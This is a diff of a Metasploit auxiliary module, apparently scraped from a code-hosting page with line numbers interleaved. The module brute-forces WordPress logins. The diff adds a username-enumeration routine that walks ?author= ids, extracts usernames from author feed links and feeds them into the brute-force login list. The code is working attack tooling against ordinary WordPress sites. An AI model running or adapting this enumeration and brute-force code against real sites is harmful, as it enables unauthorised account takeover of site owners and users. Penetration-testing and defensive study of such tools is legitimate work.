1
- ##
2
- # $Id$
3
- ##
4
-
5
1
##
6
2
# This file is part of the Metasploit Framework and may be subject to
7
3
# redistribution and commercial restrictions. Please see the Metasploit
8
4
# web site for more information on licensing and terms of use.
9
5
# http://metasploit.com/
10
6
##
11
7
8
+ require 'uri'
9
+
12
10
13
11
class Metasploit3 < Msf ::Auxiliary
14
12
@@ -20,12 +18,12 @@ class Metasploit3 < Msf::Auxiliary
20
18
21
19
def initialize
22
20
super (
23
- 'Name' => 'Wordpress Brute Force and User Enumeration Utility' ,
24
- 'Version' => '$Revision$' ,
25
- 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility' ,
26
- 'Author' => [
21
+ 'Name' => 'Wordpress Brute Force and User Enumeration Utility' ,
22
+ 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility' ,
23
+ 'Author' => [
27
24
'Alligator Security Team' ,
28
- 'Tiago Ferreira <tiago.ccna[at]gmail.com>'
25
+ 'Tiago Ferreira <tiago.ccna[at]gmail.com>' ,
26
+ 'Zach Grace <zgrace[at]404labs.com>'
29
27
] ,
30
28
'References' =>
31
29
[
@@ -39,8 +37,11 @@ def initialize
39
37
register_options (
40
38
[
41
39
OptString . new ( 'URI' , [ false , 'Define the path to the wp-login.php file' , '/wp-login.php' ] ) ,
42
- OptBool . new ( 'VALIDATE_USERS' , [ true , "Enumerate usernames" , true ] ) ,
40
+ OptBool . new ( 'VALIDATE_USERS' , [ true , "Validate usernames" , true ] ) ,
43
41
OptBool . new ( 'BRUTEFORCE' , [ true , "Perform brute force authentication" , true ] ) ,
42
+ OptBool . new ( 'ENUMERATE_USERNAMES' , [ true , "Enumerate usernames" , true ] ) ,
43
+ OptString . new ( 'RANGE_START' , [ false , 'First user id to enumerate' , '1' ] ) ,
44
+ OptString . new ( 'RANGE_END' , [ false , 'Last user id to enumerate' , '10' ] ) ,
44
45
] , self . class )
45
46
46
47
end
@@ -51,6 +52,9 @@ def target_url
51
52
52
53
53
54
def run_host ( ip )
55
+ if datastore [ 'ENUMERATE_USERNAMES' ]
56
+ enum_usernames
57
+ end
54
58
if datastore [ 'VALIDATE_USERS' ]
55
59
@users_found = { }
56
60
vprint_status ( "#{ target_url } - WordPress Enumeration - Running User Enumeration" )
@@ -181,4 +185,43 @@ def do_login(user=nil,pass=nil)
181
185
rescue ::Timeout ::Error , ::Errno ::EPIPE
182
186
end
183
187
end
188
+
189
+ def enum_usernames ( )
190
+ usernames = Tempfile . new ( 'wp_enum' )
191
+ begin
192
+ for i in datastore [ 'RANGE_START' ] ..datastore [ 'RANGE_END' ]
193
+ uri = "#{ datastore [ 'URI' ] . gsub ( /wp-login/ , 'index' ) } ?author=#{ i } "
194
+ print_status "Requesting #{ uri } "
195
+ res = send_request_cgi ( {
196
+ 'method' => 'GET' ,
197
+ 'uri' => uri
198
+ } )
199
+
200
+ if ( res and res . code == 301 )
201
+ uri = URI ( res . headers [ 'Location' ] )
202
+ uri = "#{ uri . path } ?#{ uri . query } "
203
+ res = send_request_cgi ( {
204
+ 'method' => 'GET' ,
205
+ 'uri' => uri
206
+ } )
207
+ end
208
+
209
+ if ( res == nil )
210
+ print_error ( "Error getting response." )
211
+ elsif ( res . code == 200 )
212
+ #username = /<link rel="alternate" type="application\/rss\+xml" title=".*" href="http[s]*:\/\/.*\/(.*)\/feed\/" \/>/.match(res.body.to_s)[1]
213
+ username = /href="http[s]*:\/ \/ .*\/ author\/ (.*)\/ feed\/ / . match ( res . body . to_s ) [ 1 ]
214
+ usernames . write ( "#{ username } \n " )
215
+ print_good "Found user #{ username } with id #{ i } "
216
+ elsif ( res . code == 404 )
217
+ print_status "No user with id #{ i } found"
218
+ else
219
+ print_error "Error, #{ res . code } returned."
220
+ end
221
+ end
222
+ ensure
223
+ datastore [ 'USER_FILE' ] = usernames . path
224
+ usernames . close
225
+ end
226
+ end
184
227
end
0 commit comments